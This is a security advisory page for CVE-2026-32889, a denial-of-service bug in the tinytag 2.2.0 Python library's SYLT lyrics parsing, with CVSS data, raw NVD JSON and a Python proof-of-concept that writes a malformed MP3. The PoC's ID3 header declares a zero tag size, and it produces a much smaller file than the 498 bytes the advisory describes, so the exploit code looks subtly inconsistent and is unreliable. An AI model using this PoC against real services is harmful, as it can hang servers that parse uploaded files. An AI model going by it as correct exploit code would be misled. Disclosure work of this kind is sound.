Security Vulnerability Report
中文
CVE-2026-32889 CVSS 6.5 MEDIUM

CVE-2026-32889

Published: 2026-03-20 03:16:00
Last Modified: 2026-05-14 20:22:55

Description

tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:tinytag:tinytag:2.2.0:*:*:*:*:python:*:* - VULNERABLE
tinytag < 2.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct def create_malicious_mp3(filename): # ID3v2.3 Header id3_header = b'ID3\x03\x00\x00\x00\x00\x00\x00' # SYLT Frame Header frame_id = b'SYLT' # Frame body construction to exploit missing string terminator encoding = b'\x00' # ISO-8859-1 language = b'eng' timestamp_format = b'\x02' # Absolute milliseconds content_type = b'\x01' # Lyrics # Malformed descriptor without null terminator descriptor = b'lyrics' frame_body = encoding + language + timestamp_format + content_type + descriptor frame_size = struct.pack('>I', len(frame_body)) frame_flags = b'\x00\x00' full_frame = frame_id + frame_size + frame_flags + frame_body with open(filename, 'wb') as f: f.write(id3_header + full_frame) print(f"Created malicious MP3: {filename}") # Generate the PoC file create_malicious_mp3('exploit_CVE_2026_32889.mp3')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32889", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:15:59.873", "lastModified": "2026-05-14T20:22:55.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1."}, {"lang": "es", "value": "tinytag es una biblioteca de Python para leer metadatos de archivos de audio. La versión 2.2.0 permite a un atacante que puede proporcionar archivos MP3 para su análisis activar un bucle no terminante mientras la biblioteca analiza un marco ID3v2 SYLT (letras sincronizadas). En implementaciones del lado del servidor que analizan automáticamente archivos proporcionados por el atacante, un único MP3 de 498 bytes puede hacer que la operación de análisis deje de progresar y permanezca ocupada hasta que el trabajador o proceso sea terminado. La causa raíz es que _parse_synced_lyrics asume que _find_string_end_pos siempre devuelve una posición mayor que el desplazamiento actual. Esa suposición es falsa cuando no hay un terminador de cadena presente en el contenido restante del marco. Este problema ha sido solucionado en la versión 2.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tinytag:tinytag:2.2.0:*:*:*:*:python:*:*", "matchCriteriaId": "F3B551A6-B518-4CD3-95E8-1313AC77BB0D"}]}]}], "references": [{"url": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}